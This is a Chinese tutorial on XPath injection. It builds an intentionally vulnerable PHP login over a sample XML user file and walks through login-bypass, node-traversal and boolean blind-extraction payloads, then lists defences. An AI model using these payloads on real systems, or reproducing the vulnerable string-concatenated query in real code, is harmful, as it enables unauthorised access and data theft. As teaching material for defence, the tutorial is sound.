xpath注入详解

Posted silkage

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xpath注入详解相关的知识,希望对你有一定的参考价值。

XPath简介

XPath,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。

对应的 Chrome 也有一个插件,叫 XPath Helper,能直接给出鼠标所在的 XPath 路径:

还有一个利用 XPath 在线解析 xml 的,传送门??

XPath入门

菜鸟教程:传送门??

XPath和Xquery语法:

  • “nodename” – 选取nodename的所有子节点
  • “/nodename” – 从根节点中选择
  • “//nodename” – 从当前节点选择
  • “..” – 选择当前节点的父节点
  • “child::node()” – 选择当前节点的所有子节点
  • "@" -选择属性
  • "//user[position()=2] " 选择节点位置

相关函数:

  • codepoints-to-string(a, b, c, …):将数字 a、b、c 转为对应的字符, Python 的chr函数类似。
  • string-to-codepoints(string):与上面的相反
  • compare(a, b, rule):比大小,func 是比较大小的规则
  • string-join((string, string, …), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。
  • substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
  • string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
  • count(item[, item1, …]):返回节点的数量。
  • position():返回当前正在被处理的节点的 index 位置。
  • last():返回在被处理的节点列表中的项目数目。
  • name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。

注入类型

测试代码如下:

users.xml

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
    </secret>
</root>

index.php

<?php
$xml = simplexml_load_file(‘users.xml‘);
$name = $_GET[‘u‘];
$pwd = md5($_GET[‘p‘]);
$query = "/root/users/user[username/text()=‘".$name."‘ and password/text()=‘".$pwd."‘]";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo ‘<h2>Welcome</h2>‘;
    foreach ($result as $key => $value) {
        echo ‘<br />ID:‘.$value->id;
        echo ‘<br />Username:‘.$value->username;
    }
}

 

常规注入

 万能密码

/root/users/user[username/text()=‘‘ and password/text()=‘‘]

payload:

u = "admin‘ or ‘1"
p = ""

结果:

/root/users/user[username/text()=‘admin‘ or ‘1‘ and password/text()=‘d41d8cd98f00b204e9800998ecf8427e‘]

这种只能获取当前节点下的数据,可以用下面的payload节点遍历

 

u = "admin‘] | //* | //*[‘"
p = ""

结果

/root/users/user[username/text()=‘‘] | //* | //*[‘‘ and password/text()=‘d41d8cd98f00b204e9800998ecf8427e‘]

需要注意的是,这里的 |(路径运算符)不能用 or(布尔运算符) 替代,它们是不一样的。

显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。

布尔盲注

xpath盲注适用于攻击者不清楚文档的架构,没有错误信息返回,一次只能通过不二话查询来获取部分信息。

  1. 判断根节点数量:
    payload:
    u = "‘ or count(/)=1 or ‘1"

    count(/)=1一直到count(/)=n,判断出根节点有几个。

  2. 获取根节点名,首先获取名字长度。
    payload:
    u = "‘ or string-length(name(/*[1]))=1 or ‘1"
  3. 逐个字符获取名字
    payload:

    u = "‘ or substring(name(/*[1]), 1, 1)=‘a‘ or ‘1"
    u = "‘ or substring(name(/*[1]), 1, 1)=‘b‘ or ‘1"

    遍历完所有的ascii字符后,判断出第n个根节点的名字的第n个字符

     

工具

xcat:https://github.com/orf/xcat

防御

  • 过滤字符是必须的,比如[]、转义 andor等等。
  • 过滤不需要的函数:name()count() 等等。
  • 加密/Hash:既然 XPath 注入会导致 XML 数据泄露,所以对敏感信息的加密是必须的。这个方法还有一个额外的好处:使得恶意的字符失效。比如对密码 MD5 的话,就意味着密码这个点没法插入单引号来破坏语句了,因为单引号会进入md5()函数计算。
  • 屏蔽错误信息。
  • 参数化 XPath 查询。这个因编程语言而异。

以上是关于xpath注入详解的主要内容,如果未能解决你的问题,请参考以下文章

网络安全入门之owasp top10漏洞详解

XPATH 注入的介绍与代码防御

XPATH 注入的介绍与代码防御

SQL注入详解|OWASP Top 10安全风险实践

Selenium Xpath元素无法定位 NoSuchElementException: Message: no such element: Unable to locate element(代码片段

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?